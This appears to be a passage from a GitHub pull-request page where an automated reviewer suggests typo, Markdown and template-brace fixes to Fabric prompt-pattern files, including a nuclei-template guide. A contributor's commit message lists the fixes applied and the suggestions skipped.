@.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md
around lines 495 - 496, In the examples where the helper invocation is malformed
(the template call to generate_java_gadget with parameters payload, cmd,
encoding), fix the mismatched braces/parentheses so the helper is invoked as a
properly balanced double-mustache template call with a closing parenthesis and
closing braces; update all three occurrences of the broken snippet (the
generate_java_gadget(...) helper examples) to use the corrected, balanced
template invocation.
- Fix workflow paths: Fabric/ → Utilities/Fabric/ (ExecutePattern.md, UpdatePatterns.md) - Fix TELOS pattern content mismatches (t_create_h3_career, t_create_opening_sentences) - Fix conflicting output instructions in TELOS patterns - Fix party name mapping in summarize_debate/system.md - Fix Markdown→CSV table conflict in to_flashcards/system.md - Fix path casing in suggest_pattern/user_updated.md - Remove Python artifacts from write_semgrep_rule/system.md - Fix malformed template braces in write_nuclei_template_rule/system.md - Remove 52 zero-width space characters from write_nuclei_template_rule/system.md - Fix typos: wholistic→holistic, misinterpreation→misinterpretation, METACOGNITIVIVE→METACOGNITIVE, accuratelly→accurately, Continuousontinuous→Continuous, topcis→topics, one-pont→one-point, bbReportFromatter→bbReportFormatter, Github→GitHub, MacOS→macOS - Fix duplicate END EXAMPLES and section numbering in summarize_legislation - Fix unclosed parenthetical in summarize_rpg_session
Contributor
There was a problem hiding this comment.
Actionable comments posted: 19
♻️ Duplicate comments (2)
.opencode/skills/Utilities/Fabric/Patterns/suggest_pattern/user_updated.md (1)
31-31:⚠️ Potential issue | 🟠 MajorFalsches Kurz-Flag für Pattern-Updates (
-ustatt-U)Auf Line 31 ist das Kurz-Flag für Updates falsch dokumentiert. Für Pattern-Updates muss
-Uverwendet werden.Vorschlag
-- **--update, -u**: Updates patterns. Ensures you're using the latest AI prompts for your tasks. +- **--update, -U**: Updates patterns. Ensures you're using the latest AI prompts for your tasks.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/suggest_pattern/user_updated.md at line 31, Die Kurz-Flag-Beschreibung ist falsch: ersetze in der Markdown-Zeile, die aktuell "**--update, -u**" enthält, das falsche Kurz-Flag "-u" durch das korrekte "-U" (also "**--update, -U**"), damit die Dokumentation das richtige Pattern-Update-Flag widerspiegelt..opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md (1)
573-574:⚠️ Potential issue | 🟠 MajorFehlerhafte Helper-Syntax in JSON-Beispielen ist noch nicht behoben
Die Beispiele für
json_minifyundjson_prettifysind weiterhin syntaktisch kaputt (}}/)fehlen) und erzeugen ungültige Snippets beim Copy-Paste.🔧 Vorschlag
- minify: "{{json_minify(json}}" + minify: "{{json_minify(json)}}" - pretty: "{{json_prettify(json}}" + pretty: "{{json_prettify(json)}}"#!/bin/bash # Verifiziert die noch fehlerhaften Beispiele an den genannten Stellen rg -n 'json_minify\(json\}\}"|json_prettify\(json\}\}"|json_minify\(json\}\}"|json_prettify\(json\}\}"' .opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md rg -n 'json_minify\(json\}\}"|json_prettify\(json\}\}"' .opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.mdAlso applies to: 592-593
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md around lines 573 - 574, Fix the broken helper syntax in the JSON examples by replacing malformed occurrences like minify: \"{{json_minify(json}}\" (and similar json_prettify examples) with the correct helper invocation including proper braces and parentheses, e.g. use "{{ json_minify(json) }}" and "{{ json_prettify(json) }}"; update all instances of the helpers json_minify and json_prettify in the file so they have balanced braces and parentheses (occurrences near the examples previously flagged around the minify/prettify lines and also at the related spots around lines 592-593).
🧹 Nitpick comments (3)
.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md (1)
72-72: Kleine Sprach-/Formatkorrekturen für Prompt-QualitätHier sind ein paar low-impact Textfehler (z. B. Bindestrich bei zusammengesetzten Adjektiven, „less than 100“ ohne Einheit), die die Klarheit verbessern würden.
Also applies to: 93-93, 105-105
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md at line 72, Fix minor language/format issues in the prompt text lines (e.g., the sentence "Also provide a score between 1 and 100 for the overall quality ranking, where a 1 has low quality ideas or ideas that don't match the THEMES above, and a 100 has very high quality ideas that very closely match the THEMES above" and the similar occurrences at the other referenced lines) by applying correct hyphenation for compound adjectives (e.g., "high-quality" / "low-quality") and making the score unit explicit (e.g., "between 1 and 100 points" or "on a scale of 1–100"); update the three occurrences mentioned (the line with the quoted sentence plus the instances at the other referenced lines) so wording and punctuation are consistent..opencode/skills/Utilities/Fabric/Patterns/t_create_h3_career/system.md (1)
15-15: Optionale Schreibweise: „Markdown" (Eigenname).Die Formatierungssprache wird üblicherweise als „Markdown" (Großschreibung) geschrieben, nicht „markdown".
📝 Optionale Korrektur der Groß-/Kleinschreibung
-1. Only use basic markdown formatting. No special formatting or italics or bolding or anything. +1. Only use basic Markdown formatting. No special formatting or italics or bolding or anything.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/t_create_h3_career/system.md at line 15, Zusammenfassung: Der Text verwendet Hervorhebungen und eine falsche Kleinschreibung für „Markdown“; entferne spezielle Formatierung und korrigiere die Schreibweise. Entferne alle Fett-/Kursiv-Markups und das <details>/<summary>-Block sowie jegliche dekorative Symbole und ändere die Wortinstanz „markdown“ in „Markdown“ in dem Satz Optionale Schreibweise: „Markdown" (Eigenname). Stelle sicher, dass nur einfache Markdown-Elemente (normale Absätze und Anführungszeichen) verwendet werden und die korrigierte Zeile ohne zusätzliche HTML-/Erweiterungs-Tags oder Formatierungen im Dokument erscheint..opencode/skills/Utilities/Fabric/Patterns/to_flashcards/system.md (1)
51-53: Optional: Satzanfänge variieren für besseren Stil.Drei aufeinanderfolgende Sätze beginnen mit "Do not". Das ist in Anweisungslisten akzeptabel, könnte aber durch Umformulierung lesbarer werden.
✨ Optionaler Stilvorschlag
-- Do not output warnings or notes—just the requested sections. +- Output only the requested sections without warnings or notes. -- Do not output backticks: just raw CSV data. +- Provide raw CSV data without backticks.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/to_flashcards/system.md around lines 51 - 53, The three consecutive sentences starting with "Do not" in system.md are repetitive; reword them to vary sentence openings while preserving meaning, e.g., change "Do not output warnings or notes—just the requested sections." to "Avoid outputting warnings or notes; return only the requested sections." and change "Do not output backticks: just raw CSV data." to "Return raw CSV data without backticks." Keep the instruction about CSV being raw and the prohibition on warnings/notes intact and ensure the two revised lines replace the original "Do not ..." lines.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In @.opencode/skills/Utilities/Fabric/Patterns/summarize_git_changes/system.md:
- Line 3: Zeile 3 der System-Prompt ist grammatikalisch fehlerhaft; ersetze die
Phrase "what changed a GitHub project in the last 7 days" durch "what changed in
a GitHub project in the last 7 days" (oder auf Deutsch: "was sich in einem
GitHub-Projekt in den letzten 7 Tagen geändert hat") und in Zeile 15 ersetze die
Wortkombination mit "human-readable" (statt z. B. "human readable" oder anderer
Variante) für konsistente, einheitliche Terminologie; passe bei Bedarf die
umgebenden Sätze an, damit die Formulierungen stilistisch zusammenpassen.
In @.opencode/skills/Utilities/Fabric/Patterns/summarize_legislation/system.md:
- Line 17: Entferne die nicht ausführbare Anweisung "Read it 39 times as a
liberal, as a conservative, and as a libertarian. Spend 319 hours..." aus den
STEPS und ersetze sie durch eine präzise, ausführbare Anweisung wie z.B. "Review
the text from multiple political perspectives (liberal, conservative,
libertarian) and note perspective-specific biases and key points; perform 2–3
passes per perspective with timestamps/limits." Suche nach der exakten
Textsequenz "Read it 39 times..." im Dokument (in der STEPS-Sektion) und
aktualisiere sie entsprechend, sodass die Anweisung operationell, limitiert und
für Prompt-Ausführung geeignet ist.
In @.opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md:
- Line 3: Kurz: Tippfehler in der Rollenbeschreibung korrigieren. Ersetze die
doppelte Wortfolge "in-personal personal" in system.md mit "in-person" (oder
ganz ausgeschrieben "in-person role-playing game sessions") so that the sentence
reads clearly (z. B. "You are an expert summarizer of in-person role-playing
game sessions."). Suche nach the exact phrase "in-personal personal" und
aktualisiere sie in der Datei system.md.
- Line 88: Die Anweisung verweist auf nicht existierende Abschnitte 'SETUP' und
'APPEARANCE'; behebe das, indem du entweder echte Überschriften und Inhalte für
'SETUP' und 'APPEARANCE' hinzufügst oder die Zeile so änderst, dass sie auf die
tatsächlich im Prompt vorhandenen Abschnittsnamen verweist (z. B. ersetze
'SETUP'/'APPEARANCE' durch die korrekten Headings), und stelle sicher, dass die
Charakter-Auftrittsbeschreibungen unter dem referenzierten Abschnitt stehen,
damit die Anforderung konsistent ist.
In
@.opencode/skills/Utilities/Fabric/Patterns/t_analyze_challenge_handling/system.md:
- Line 10: Fix the unclear instruction sentence "Create an ASCII art diagram of
the relationship my missions, goals, and projects." by inserting the missing
preposition—e.g., change it to "Create an ASCII art diagram of the relationship
between my missions, goals, and projects" (or "of my missions, goals, and
projects" if intended); update the line in system.md so the sentence reads
clearly with the chosen preposition.
In @.opencode/skills/Utilities/Fabric/Patterns/t_check_dunning_kruger/system.md:
- Line 26: In the "UNDERESTIMATION OF COMPETENCE" section fix the typo
"bullets,that" by inserting a space after the comma so it reads "bullets, that";
update the sentence that begins with "output a set of 10, 16-word bullets,that
capture..." (use the exact token "bullets,that" to locate it) to improve
readability while keeping the original meaning and counts intact.
In
@.opencode/skills/Utilities/Fabric/Patterns/t_create_opening_sentences/system.md:
- Around line 1-16: Add a "USE WHEN" section to this pattern describing when the
skill should trigger (placement: add a "USE WHEN" header near the top, e.g.,
between "IDENTITY" and "STEPS" or immediately after "IDENTITY"); specify
concrete activation conditions and example triggers (user intents, input file
types like TELOS, or keywords), keep it concise, follow PAI Skills format and
basic markdown rules from "OUTPUT INSTRUCTIONS", and ensure the new "USE WHEN"
text clearly guides the skill-activation logic for implementers.
In @.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md:
- Around line 103-105: The key name for the single recommendation is
inconsistent: the document defines singleRecommendations but the JSON schema and
later usage expect oneRecommendation; update all occurrences so the key is
uniformly oneRecommendation (change the header/definition named
singleRecommendations to oneRecommendation and replace any references at/around
the other occurrence currently at 165), ensuring the schema and example sections
use the exact same symbol oneRecommendation so the output contract is stable for
parsers/clients.
- Around line 99-102: The LABELS block contains disallowed labels ("Running" and
"Copywriting") which violate the rule to only use AVAILABLE LABELS; update the
LABELS: (...) entry so it only includes labels from AVAILABLE LABELS (remove or
replace "Running" and "Copywriting" with permitted labels), and apply the same
correction to the other occurrence mentioned in the file (the second LABELS
block that mirrors lines 182-183).
- Around line 1-8: Die Datei fehlt die PAI-Skill-Struktur und die
verpflichtenden "USE WHEN" Trigger; update die Pattern-Datei so sie das
PAI-Skill-Headerformat enthält (IDENTITY, GOAL, STEPS) und füge mindestens einen
klaren "USE WHEN" Abschnitt/Trigger hinzu, der beschreibt wann der Skill
ausgelöst werden soll; achte darauf, dass die "USE WHEN" Syntax konsistent mit
anderen Skills ist (z. B. explizite Bedingungen, Beispiele und erwartete
Eingabetypen) und validiere das Ergebnis gegen vorhandene PAI-Skill-Beispiele,
um Benennung und Feldstruktur von IDENTIFY/GOAL/STEPS/USE WHEN mit denen
Funktionen/Consume-Patterns in anderen Skills übereinstimmen.
- Around line 184-187: Die Scoring-Regeln referenzieren nicht-definierte
Bezeichner ("step 2" und "INTERESTS") während die vorhandene Terminologie
"THEMES" nutzt; korrigiere die Referenzen so sie konsistent sind: ersetze alle
Vorkommen von "step 2" durch den tatsächlichen Referenzpunkt (z. B. "THEMES"
oder die korrekte Step-Bezeichnung) und tausche "INTERESTS" gegen "THEMES" oder
ergänze eine klare Definition von "INTERESTS" oben in der Spezifikation; passe
die beiden Scoring-Zeilen (die einen niedrigeren Score vorsehen) sowie jegliche
Verweise in angrenzenden Regeln an, damit die Begriffe einheitlich und eindeutig
verwendet werden.
In @.opencode/skills/Utilities/Fabric/Patterns/to_flashcards/system.md:
- Around line 55-57: Die Datei enthält ein doppeltes "INPUT:"-Label (die
Überschrift "INPUT:" und eine wiederholte Zeile "INPUT:"), entferne die
wiederholte Zeile oder ersetze sie durch einen sinnvollen Platzhalter; suche
nach der Überschrift "INPUT:" und lösche die zweite identische Zeile (die
doppelte "INPUT:"-Zeile) im Abschnitt, sodass nur eine einzelne
"INPUT:"-Überschrift verbleibt oder alternativ die zweite Zeile durch den
gewünschten Platzhaltertext ersetzt.
In @.opencode/skills/Utilities/Fabric/Patterns/write_hackerone_report/README.md:
- Around line 29-39: In der README.md gibt es drei ungekennzeichnete Codefences
for the examples "GET /...", "HTTP/1.1 200 found..." und "This request is
vulnerable to blah blah blah"; fix by adding language identifiers to those
fences: mark the request and response fences as http (e.g. the fences containing
"GET /..." and "HTTP/1.1 200 found...") and mark the comment fence as text (the
fence containing "This request is vulnerable to blah blah blah") so
markdown-lint/syntax-highlighting pick them up.
In
@.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md:
- Around line 1-40: The pattern file is missing the required PAI-Skills "USE
WHEN" trigger block; add a clear "USE WHEN" section at the top of
.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md
following the PAI-Skills format, e.g., a concise trigger phrase(s) and
conditions that describe when this skill should run (reference the "USE WHEN"
keyword), ensure it fits with existing headings like "IDENTITY and PURPOSE" and
includes any required tags or intent phrases per project conventions so agents
can match and invoke this skill.
- Line 1068: Der Template-Ausdruck enthält eine überzählige schließende Klammer
in der Aufrufstelle von hex_encode; entferne die zusätzliche ')' in der
Ausdrucksgruppe so dass der Aufruf von hex_encode korrekt ist
(Vergleichsreferenzen: die Template-Einschübe mit html_escape und hex_encode,
insbesondere die Verwendung von {{hex_encode('§param_b§')}} neben
{{html_escape('§param_a§')}}).
- Around line 406-411: Fix two syntax errors in the helper examples: correct the
concat example to include the missing closing quote so it reads concat("Hello",
123, "world") and remove the stray trailing quote from the dec_to_hex example so
it reads dec_to_hex(7001); update the examples near the concat and dec_to_hex
entries to use these corrected call strings.
- Around line 553-554: Die Template-Zeile ruft generate_jwt mit verschachtelten
{{...}}-Ausdrücken auf, was gegen die Regel "don't re-use {{}} when already
inside {{ }}" verstößt; öffne stattdessen nur einmal den Helper-Aufruf und
übergebe die Variablen direkt (z. B. replace '"{{alg}}", "{{sig}}", "{{age}}"'
innerhalb des generate_jwt-Aufrufs durch alg, sig, age ohne zusätzliche {{}}),
so dass der generate_jwt(json, alg, sig, age) Aufruf korrekt innerhalb des
bestehenden {{...}} steht.
In @.opencode/skills/Utilities/Fabric/Patterns/write_semgrep_rule/system.md:
- Line 745: Die Datei endet mit einem geöffneten Markdown-Codefence (drei
backticks) ohne Abschluss; füge am Dateiende eine passende schließende Codefence
(```) hinzu, sodass der geöffnete Fence am Ende der Datei korrekt geschlossen
wird und die Markdown-Struktur wieder valide ist; suche nach dem offenen "```"
am Dateiende und ergänze dort die Abschluss-Fence.
In @.opencode/skills/Utilities/Fabric/Workflows/ExecutePattern.md:
- Around line 63-71: Several fenced code blocks in ExecutePattern.md (the blocks
showing pattern steps like "[Content from user] ↓ [Read
Patterns/extract_wisdom/system.md] ↓ [Follow the STEPS and OUTPUT INSTRUCTIONS]
↓ [Return structured output per pattern spec]") are missing language tags
(MD040) around the fences at the sections referenced; update each affected
triple-backtick fence (the ones around those pattern/example blocks) to include
a language tag such as text (or a more specific language if applicable) so they
become e.g. ```text; ensure you modify every instance noted (the fences around
the blocks near the shown arrows and the ranges called out) so the markdown
linter no longer reports MD040.
---
Duplicate comments:
In @.opencode/skills/Utilities/Fabric/Patterns/suggest_pattern/user_updated.md:
- Line 31: Die Kurz-Flag-Beschreibung ist falsch: ersetze in der Markdown-Zeile,
die aktuell "**--update, -u**" enthält, das falsche Kurz-Flag "-u" durch das
korrekte "-U" (also "**--update, -U**"), damit die Dokumentation das richtige
Pattern-Update-Flag widerspiegelt.
In
@.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md:
- Around line 573-574: Fix the broken helper syntax in the JSON examples by
replacing malformed occurrences like minify: \"{{json_minify(json}}\" (and
similar json_prettify examples) with the correct helper invocation including
proper braces and parentheses, e.g. use "{{ json_minify(json) }}" and "{{
json_prettify(json) }}"; update all instances of the helpers json_minify and
json_prettify in the file so they have balanced braces and parentheses
(occurrences near the examples previously flagged around the minify/prettify
lines and also at the related spots around lines 592-593).
---
Nitpick comments:
In @.opencode/skills/Utilities/Fabric/Patterns/t_create_h3_career/system.md:
- Line 15: Zusammenfassung: Der Text verwendet Hervorhebungen und eine falsche
Kleinschreibung für „Markdown“; entferne spezielle Formatierung und korrigiere
die Schreibweise. Entferne alle Fett-/Kursiv-Markups und das
<details>/<summary>-Block sowie jegliche dekorative Symbole und ändere die
Wortinstanz „markdown“ in „Markdown“ in dem Satz Optionale Schreibweise:
„Markdown" (Eigenname). Stelle sicher, dass nur einfache Markdown-Elemente
(normale Absätze und Anführungszeichen) verwendet werden und die korrigierte
Zeile ohne zusätzliche HTML-/Erweiterungs-Tags oder Formatierungen im Dokument
erscheint.
In @.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md:
- Line 72: Fix minor language/format issues in the prompt text lines (e.g., the
sentence "Also provide a score between 1 and 100 for the overall quality
ranking, where a 1 has low quality ideas or ideas that don't match the THEMES
above, and a 100 has very high quality ideas that very closely match the THEMES
above" and the similar occurrences at the other referenced lines) by applying
correct hyphenation for compound adjectives (e.g., "high-quality" /
"low-quality") and making the score unit explicit (e.g., "between 1 and 100
points" or "on a scale of 1–100"); update the three occurrences mentioned (the
line with the quoted sentence plus the instances at the other referenced lines)
so wording and punctuation are consistent.
In @.opencode/skills/Utilities/Fabric/Patterns/to_flashcards/system.md:
- Around line 51-53: The three consecutive sentences starting with "Do not" in
system.md are repetitive; reword them to vary sentence openings while preserving
meaning, e.g., change "Do not output warnings or notes—just the requested
sections." to "Avoid outputting warnings or notes; return only the requested
sections." and change "Do not output backticks: just raw CSV data." to "Return
raw CSV data without backticks." Keep the instruction about CSV being raw and
the prohibition on warnings/notes intact and ensure the two revised lines
replace the original "Do not ..." lines.
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
Run ID: 87ff20a6-3266-42da-9ca1-950c3c3df8b5
📒 Files selected for processing (17)
.opencode/skills/Utilities/Fabric/Patterns/suggest_pattern/user_updated.md.opencode/skills/Utilities/Fabric/Patterns/summarize_debate/system.md.opencode/skills/Utilities/Fabric/Patterns/summarize_git_changes/system.md.opencode/skills/Utilities/Fabric/Patterns/summarize_legislation/system.md.opencode/skills/Utilities/Fabric/Patterns/summarize_paper/README.md.opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md.opencode/skills/Utilities/Fabric/Patterns/t_analyze_challenge_handling/system.md.opencode/skills/Utilities/Fabric/Patterns/t_check_dunning_kruger/system.md.opencode/skills/Utilities/Fabric/Patterns/t_create_h3_career/system.md.opencode/skills/Utilities/Fabric/Patterns/t_create_opening_sentences/system.md.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md.opencode/skills/Utilities/Fabric/Patterns/to_flashcards/system.md.opencode/skills/Utilities/Fabric/Patterns/write_hackerone_report/README.md.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md.opencode/skills/Utilities/Fabric/Patterns/write_semgrep_rule/system.md.opencode/skills/Utilities/Fabric/Workflows/ExecutePattern.md.opencode/skills/Utilities/Fabric/Workflows/UpdatePatterns.md
🚧 Files skipped from review as they are similar to previous changes (1)
- .opencode/skills/Utilities/Fabric/Patterns/summarize_paper/README.md
|
|
||
| # INPUT | ||
|
|
||
| INPUT: |
Contributor
There was a problem hiding this comment.
Nicht geschlossener Codeblock am Dateiende
Auf Line 745 wird ein Fence geöffnet, aber nicht geschlossen. Das bricht Markdown-Struktur und kann nachgelagerte Verarbeitung stören.
Vorschlag
INPUT:+```
</details>
<!-- suggestion_start -->
<details>
<summary>📝 Committable suggestion</summary>
> ‼️ **IMPORTANT**
> Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
```suggestion
INPUT:
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.opencode/skills/Utilities/Fabric/Patterns/write_semgrep_rule/system.md at
line 745, Die Datei endet mit einem geöffneten Markdown-Codefence (drei
backticks) ohne Abschluss; füge am Dateiende eine passende schließende Codefence
(```) hinzu, sodass der geöffnete Fence am Ende der Datei korrekt geschlossen
wird und die Markdown-Struktur wieder valide ist; suche nach dem offenen "```"
am Dateiende und ergänze dort die Abschluss-Fence.
- summarize_git_changes: fix grammar 'what changed in a GitHub project',
hyphenate 'human-readable'
- summarize_legislation: replace un-executable '39 times/319 hours' with
actionable 2-3 passes per perspective instruction
- summarize_rpg_session: fix 'in-personal personal' typo → 'in-person';
fix broken SETUP/APPEARANCE references to match actual sections
- t_analyze_challenge_handling: insert missing preposition 'between'
- t_check_dunning_kruger: fix missing space 'bullets,that' → 'bullets, that'
- t_create_h3_career: capitalize 'markdown' → 'Markdown'
- threshold: fix singleRecommendations → oneRecommendation to match JSON schema;
replace invalid LABELS examples (Running, Copywriting) with valid labels;
fix 'step 2'/'INTERESTS' references → 'THEMES'; fix 'highly focused human'
- to_flashcards: remove duplicate INPUT: label
- write_hackerone_report/README.md: add language tags to unlabelled code fences
- write_nuclei_template_rule: fix concat missing closing quote; fix dec_to_hex
stray quote; fix nested {{}} in generate_jwt call; fix json_minify/json_prettify
malformed braces; fix extra ) in hex_encode call
- ExecutePattern.md: add 'text' language tag to unlabelled code fence
Skipped (scope creep): USE WHEN additions, suggest_pattern -u/-U flag (unverifiable),
to_flashcards Do-not rewording nitpick, threshold hyphenation nitpick
Contributor
There was a problem hiding this comment.
Actionable comments posted: 12
♻️ Duplicate comments (2)
.opencode/skills/Utilities/Fabric/Workflows/ExecutePattern.md (1)
92-126:⚠️ Potential issue | 🟡 MinorBitte Language-Tags an allen Fenced-Code-Blöcken ergänzen (MD040).
Diese Blöcke sind weiterhin ohne Sprachangabe. Bitte z. B.
textergänzen, damit die Markdown-Lint-Regel erfüllt ist.✅ Vorschlag
-``` +```text ## SUMMARY [1-sentence summary] ... -``` +``` -``` +```text User Request │ ... -``` +``` -``` +```text Pattern '[name]' not found in ~/.opencode/skills/Utilities/Fabric/Patterns/ ... -``` +``` -``` +```text No content provided for pattern execution. ... -``` +```Also applies to: 132-166, 198-206, 209-216
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Workflows/ExecutePattern.md around lines 92 - 126, Die Fenced-Code-Blöcke in ExecutePattern.md fehlen Sprach-Tags (MD040); ergänze für alle dreifachen-backtick-Abschnitte — z.B. die Blöcke die "## SUMMARY", "User Request", "Pattern '[name]' not found in ~/.opencode/skills/Utilities/Fabric/Patterns/" und "No content provided for pattern execution." enthalten — jeweils ein Sprach-Tag wie text (```text) am öffnenden Backtick, und lasse das schließende ``` unverändert; wiederhole die Änderung auch für die weiteren betroffenen Bereiche (ungefähr die Bereiche 132–166, 198–206, 209–216) so dass alle Fenced-Code-Blöcke eine Sprache zugewiesen haben..opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md (1)
1-11:⚠️ Potential issue | 🟠 MajorPAI-Skill-Triggerblock
USE WHENfehlt weiterhinAktuell beginnt die Datei direkt mit
IDENTITY and PURPOSE; ein expliziterUSE WHEN-Block zur Aktivierung der Skill fehlt (siehe Line 1 ff.). Das verletzt das erwartete Skill-Format und kann die zuverlässige Auswahl durch Agenten verschlechtern.As per coding guidelines, ".opencode/skills/**: Follow PAI Skills format and USE WHEN triggers in
.opencode/skills/**files".🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md around lines 1 - 11, The file starts with "IDENTITY and PURPOSE" but lacks the required PAI Skill activation block; add an explicit "USE WHEN" trigger section at the top of the document to comply with the PAI Skills format so agents can select the skill reliably, ensuring the block appears before "IDENTITY and PURPOSE" and uses clear activation conditions (e.g., keywords, intents or contexts) referenced in your skill selection logic; update any metadata or header parsing consumers (the same file's top-level skill parser) to recognize the new "USE WHEN" section if needed.
🧹 Nitpick comments (2)
.opencode/skills/Utilities/Fabric/Patterns/t_create_h3_career/system.md (1)
10-16: Ausgabeformat für Empfehlungen präzisieren.Aktuell ist nicht eindeutig, ob die Empfehlungen Teil derselben 8 Bullet-Points sein sollen oder ein eigener Block. Eine kleine Formatvorgabe reduziert Streuung in den Antworten.
💡 Vorschlag zur Präzisierung
-4. Write 8 16-word bullets outlining a career development plan for the next 3 years. -5. Provide recommendations on how to achieve the career goals and milestones identified. +4. Write exactly 8 bullets (~16 words each) outlining a 3-year career development plan. +5. After the 8 bullets, add a "Recommendations" section with 3 concrete actions. # OUTPUT INSTRUCTIONS 1. Only use basic Markdown formatting. No special formatting or italics or bolding or anything. 2. Output only the requested content, nothing else. +3. Keep this exact structure: 8 bullets first, then "Recommendations" with 3 bullets.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/t_create_h3_career/system.md around lines 10 - 16, The output format is ambiguous between item 4 ("Write 8 16-word bullets outlining a career development plan for the next 3 years.") and item 5 ("Provide recommendations on how to achieve the career goals and milestones identified."); update system.md to explicitly state whether recommendations are part of the same 8 bullets or must be a separate block, and prescribe exact labels/structure (e.g., "Career Plan: 8 bullets, each 16 words" followed by a separate "Recommendations:" block with X bullets or paragraphs). Ensure you update the wording for items "4." and "5." so the generator knows to produce two distinct sections and include any required headings and spacing rules..opencode/skills/Utilities/Fabric/Patterns/threshold/system.md (1)
190-190: Output-Regel ist sprachlich unklar formuliert.Hier fehlt ein „or“, dadurch wird die Vorgabe unnötig mehrdeutig.
🧹 Vorschlag
-Only return strings in the JSON object. Do not return arrays any other data types. +Only return strings in the JSON object. Do not return arrays or any other data types.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md at line 190, The output rule text in system.md is missing the conjunction "or", making it ambiguous; update the sentence "Do not return arrays any other data types." to include "or" so it reads "Do not return arrays or any other data types." to clearly restrict returned JSON values to strings only.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In @.opencode/skills/Utilities/Fabric/Patterns/summarize_legislation/system.md:
- Line 51: The phrase "and or" in the CYNICAL CHARACTERIZATION guideline is
grammatically incorrect; update the sentence in system.md (the line that reads
"and or that are being downplayed...") to use either "and/or" or a clear
alternative such as "or" (e.g., "... controversial to the opposing side or that
are being downplayed by the submitting party...") so the instruction reads
smoothly and unambiguously.
In @.opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md:
- Line 3: In der Prompt-Zeile "You are an expert summarizer of in-person
role-playing game sessions..." sowie überall sonst, vereinheitliche die
Bindestrich-Schreibweise: ersetze alle Vorkommen von "role playing" durch
"role-playing" und "50 word" durch "50-word" (prüfe Strings/metadata in diesem
Prompt und die Zeile mit "role-playing", "50-word" als Referenz), sodass die
Begriffe konsistent hypheniert sind; passe ggf. Tests/fixtures an.
- Line 92: Die Anweisung "Ensure the Previously On output focuses on the recent
episode, just the background from before." ist widersprüchlich; bitte ersetzen
Sie diese Zeile in system.md (die betreffende Phrase ist genau: "Ensure the
Previously On output focuses on the recent episode, just the background from
before.") durch eine klare Formulierung, z. B. "Ensure the 'Previously On'
output focuses on the most recent episode, including only prior background
information that is directly relevant to understanding that episode," so dass
eindeutig ist, dass der Hauptfokus die aktuelle Folge ist und nur unmittelbar
notwendiger Hintergrund einbezogen wird.
- Line 104: Die abschließende doppelte Anführungszeichen am Ende der
Hinweiszeile "(Note that the transcript below is of the full conversation
between friends, and may include regular conversation throughout. Read the whole
thing and figure out yourself which part is part of the game and which parts
aren't.)" entfernen; suche die Zeichenfolge in system.md (Zeile enthält genau
diesen Hinweis) und lösche das überflüssige Abschluss-" damit kein
unbalanciertes Anführungszeichen als Literal in den Prompt gelangt.
In
@.opencode/skills/Utilities/Fabric/Patterns/t_analyze_challenge_handling/system.md:
- Line 14: Die Schreibweise von „Markdown“ muss vereinheitlicht werden: ersetze
alle Vorkommen des Tokens "Markdown" durch "markdown" (kleingeschrieben) in
diesem Dokument, achte dabei darauf, nur die Wortform zu ändern und keine
zusätzliche Formatierung zu nutzen oder bestehende Grund-Markdown-Struktur zu
verändern; prüfe speziell Inhalte, die das Wort in Überschriften, Beschreibungen
oder Beispielen verwenden, und aktualisiere nur das Token ohne Kursiv-/Fett-
oder andere Formatänderungen.
- Around line 10-15: The document contains a contradiction: Step 4 mandates
generating an ASCII art diagram while the OUTPUT INSTRUCTIONS demand returning
only the requested content; update the text so there is a single clear rule.
Replace or modify the Step 4 requirement in
.opencode/skills/Utilities/Fabric/Patterns/t_analyze_challenge_handling/system.md
(the "Step 4" sentence) to either make the ASCII diagram conditional (e.g., "If
the user explicitly requests an ASCII diagram, then create one") or remove it
entirely, and clarify that the OUTPUT INSTRUCTIONS section has precedence for
responses that do not request extra artifacts.
In @.opencode/skills/Utilities/Fabric/Patterns/t_check_dunning_kruger/system.md:
- Line 10: Überarbeite die Kerninstruktionen in system.md, insbesondere die
Aufzählungspunkte wie den Satz beginnend mit "4. Evaluate the input against the
